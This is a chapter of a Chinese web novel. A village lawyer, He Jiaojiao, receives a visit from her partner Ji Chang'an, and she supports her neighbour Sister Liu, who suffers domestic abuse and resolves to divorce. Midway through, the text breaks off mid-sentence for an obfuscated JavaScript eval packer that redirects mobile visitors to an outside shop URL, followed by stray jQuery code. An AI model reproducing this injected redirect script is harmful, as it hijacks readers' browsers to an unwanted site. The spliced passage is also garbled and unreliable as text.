22.第 22 章
    “你怎么来了?”何皎皎惊喜道。

    季长安回答道:“这两天去出差,离这儿也不远,就想过来看看你。”

    何皎皎现在没空和他闲谈,担心地往院子里看了一眼,解释说:“谢广那个王八蛋,今晚对刘姐下了狠手,打得太惨了,我得去劝说一下,万一出什么事了。”

    季长安握着她的手没有放,也看了一眼里面的场景,眼含担忧:“你就打算一个人去?你这细胳膊细腿儿的,也不怕他打你。”

    何皎皎也没想那么多,只看到刘姐实在惨,一股热血就往头上冲,他说的也不是没道理。

    “那我总不能干看着吧。”她眉头轻拢。

    两人说话间,里面的动静都是停了。刘姐哭哭啼啼的进了屋,院子安静得像一切都没发生过。

    何皎皎想,幸好自己没去劝阻,说不准还没结束得这么快。

    她无语地与季长安对视一眼,转而问道:“你自己开车来的?”

    季长安摇摇头,望向不远处的黑色车辆,开玩笑道:“带司机了,我怕自己开会猝死。”

    顺着他的视线,何皎皎果然看见驾驶室里有个模糊的人影。

    她打他一下,严肃道:“不要胡说八道。”

    季长安浅笑了一下,但笑容里带着疲惫:“我都好几天没睡过整觉了,也就坐车的时候眯一会儿。”他打了个呵欠,眼下的阴影很重。

    何皎皎问:“这么忙?”

    季长安说:“接了好几个案子,距离又远,恨不得一个人分成两个用。”

    何皎皎叹气:“累死累活也不知为什么。”

    她伸出手指碰了碰他的眼皮,眼眸里都是温柔:“那你快回去吧,今晚好好睡一会儿。”

    季长安说:“一来就赶人?”

    他盯着她,装作不可思议,甚至是委屈的模样。他的眉眼生得极好看,眼睛很黑,像是晕开的墨。就这样认真地注视着她,何皎皎一时竟没有勇气和他对视。

    她垂下眼眸,看着地面才不至于耳朵发红。

    “我哪儿有赶你。”她说,声音不大,声线还有些不稳。

    季长安揉了揉她的头顶,逗她:“赶就赶吧,反正我也只是来送温暖的,目的达到就行了。”

    说着,打电话叫来司机,从车里拎了好些东西出来。

    何皎皎看着司机一趟趟地往屋子送东西,问:“这都是些什么呀?”

    季长安道:“有些人不是天天叫唤,村里没吃的,嘴里都淡出鸟儿了吗?”

    “给你拿了些吃的,没了就跟我说,吃不完就给邻居送点。”他嘱咐道。

    何皎皎进了屋,随意打开一个盒子,里面是一条伊比利亚火腿。

    “搜罗得真广。”她说,一屁股坐在椅子上,手托着下巴,看他帮她收拾这一堆东西。

    “田螺公子。”她笑眯眯地评价道。

    他的袖子是挽起来的,露出流畅利落的手臂线条,青色血管张力十足。他将最后一个盒子放好,说:“这次慰问活动就这样了,我得回去了。”

    何皎皎心疼他,再舍不得也没挽留,反倒是送他到门口。等他真的要走时,她叫住了他,有些不好意思道:“喂,不是下乡送温暖吗?”

    季长安顿住,一时没明白。

    “抱一下。”何皎皎说完,飞快地别开眼,但半掩在长发之下的耳朵却红了。

    听了她的话,季长安这才明白。他瞧着她,喉咙里不自觉地发出低低的笑声。笑到何皎皎都快恼了,才握着她的手顺势一带,将她扯进怀里。

    他的下颌抵在她的头顶,鼻尖萦绕的都是他身上清爽凌冽的香。他使了点力,搂着她的后腰,将她更紧地按进自己怀里。

    “够暖不?”他问。

    炙热的呼吸喷洒在她的脖子间,何皎皎闭着眼睛,强迫自己淡定下来,但剧烈的心跳还是出卖了她的紧张。

    听到他戏谑的调笑,她竟然无厘头地想到了律所往年的标语,嘴上一快,也说了出来:“浓浓正大情,慰问暖人心。”

    而季长安显然被她逗笑,隔着衣服也能清楚地感觉到他胸膛的微微颤抖。

    何皎皎松开手,嗔他一眼:“赶紧走吧你!”

    ……

    第二天一大早,谢广就走了,何皎皎听见动静后,才敲响了刘姐的门。

    刘姐戴了个帽子,将额头遮住了一大半,但仍然能看到一些伤痕。

    何皎皎开门见山道:“刘姐,昨晚他又打你了是不是,你要不要报警?”

    刘姐眼神闪躲,也没回答,只叫她坐。

    何皎皎递了支药膏给她,语气缓下来:“我都看见了,你伤得怎么样?要不要去医院看看?”

    接过药膏,刘姐的眼睛顿时湿润了,她的声音很低:“我没事,皎皎,过几天就好了。”说着,背着她抹了一把眼泪。

    在婚姻关系中,很多人就是温水煮青蛙,长期遭受暴力,便会丧失保护自己的能力。而事实上,没有人是“自愿”挨打的。所谓斯德哥尔摩,很大一部分原因也许是就是恐惧。

    何皎皎安慰她几句,也没有再多说,只说如果真的需要,她会愿意帮忙。

    改变是从自身做起的。

    刘姐将她送到门口,欲言又止,但最终还是垂下了头,没有讲话。

    直到不久后的一个深夜,她敲响了何皎皎的门。

    那时候,何皎皎正在和季长安打电话。

    她趴在床头,跟他扯着一些无关紧要的事情,突然听见了门外传来刘姐的声音。

    “皎皎,你睡了吗?”她的鼻音很重,还带着哭腔。

    “还没,怎么了?”她翻身下床,打开了门。

    只见刘姐眼睛都哭肿了:“皎皎,谢广他出轨了。”说完,瘦弱的肩膀剧烈地抽搐起来,泪水无声地落下。

    何皎皎连忙让她进来,拍了拍她的肩,安慰道:“没事,你慢慢说,是怎么一回事呀?”

    刘姐极力忍住哭泣,缓了好半天才说道:“最近他说去上工,可是每天都早出晚归,我感觉不对,就悄悄

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044617|144494||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    跟在他后面,没想到他是进了王寡妇的家!”

    “那也不能说是出轨吧,你也没证据,就像先前刘雪梅和张老三那样,也是误会。”何皎皎虽然看不惯谢广,也希望刘姐能早日醒悟,但在事实面前,她还是要实话实说。

    可刘姐愤恨道:“不会错的,他出来的时候还在拉裤子拉链,而且晚上我特意发现,他的身上有痕迹。当时我问他,他一口咬定是我乱说。要是换成平时,被冤枉了,早就一巴掌打过来了,这次真的不一样。”

    说话间,她的手紧紧攥成拳,因为用力而微微发抖。

    何皎皎问:“那你打算怎么办?”

    她像下定决心一般,深吸了一口气,一字一句地说道:“我要跟他离婚。”

    这就对了!

    何皎皎心里一松,只觉得畅快。虽然做律师的要与当事人保持距离,不要带入自己的主观感情。但她实在觉得谢广就是个垃圾,于是她决定再添一把火:“早该离了!那种家暴男要来干嘛,还不如自己轻轻松松地过。”

    也许刘姐这次真被伤透了心,她用力地点了点头。此时觉得心里堵得慌,满腔的情绪无处宣泄,便倾诉道:“我以前太傻了,觉得自己对不起他,所以这么多年来,他打我骂我,我都觉得是我应得的。但是他实在是太过分了……”

    从她絮絮叨叨的话中,何皎皎才知道,原来刘姐在结婚前有个当兵的男朋友,当时两人关系极好。但男方家境太好,父母嫌弃刘姐,始终不同意两人在一起,还趁着男的去部队时,私自给他定了一门婚事。男的休假回来,父母便强势地让他结婚。

    “当年他来找过我,说去私奔,可是我不敢,我以为他回去了会另外想办法,或者缘分浅,我们两人就算了。可谁知道他结婚的头一天晚上,就跳了河……”刘姐回想往事,抹了一把眼泪。但提起这段过往,她的眼神又变得很温柔。

    这么多年来,悔恨和无奈在她的心里交织着,每到午夜梦回时,她总能回想起那天晚上的场景。他站在她的窗前,向她伸出手。

    “出事之后,他的尸体被捞起来,才发现到死的时候,手里都攥着张我的照片。”她双手掩面而泣,泪水从指缝中流出。

    何皎皎没有说话,只是默默地给她递纸巾。

    斯人已去,都化作一抔黄土,唯有活着的人无限感怀罢了。

    律师做久了,见多了形形色色的当事人,形形色色的案件。有时候她觉得,自己更像是一个见证人,一个记录者,将案件背后的辛酸和将尘封多年的故事重新开启。

    她也渐渐明白季长安曾经说的,法律的确不能解决所有难题。认为法律是万能的,那本就是一种狂妄。

    因此,她也只是静静地听。

    这一桩陈年旧事,刘姐从来没跟谁诉说过,堵在心里像一坨巨大的石头,她死不了,但也呼吸困难。

    她继续道:“后来那家人闹得很厉害,说是我害了他,天天守在我家门口,让我赔命。后来还是大队的书记出面解决,让我赔偿三千块钱。”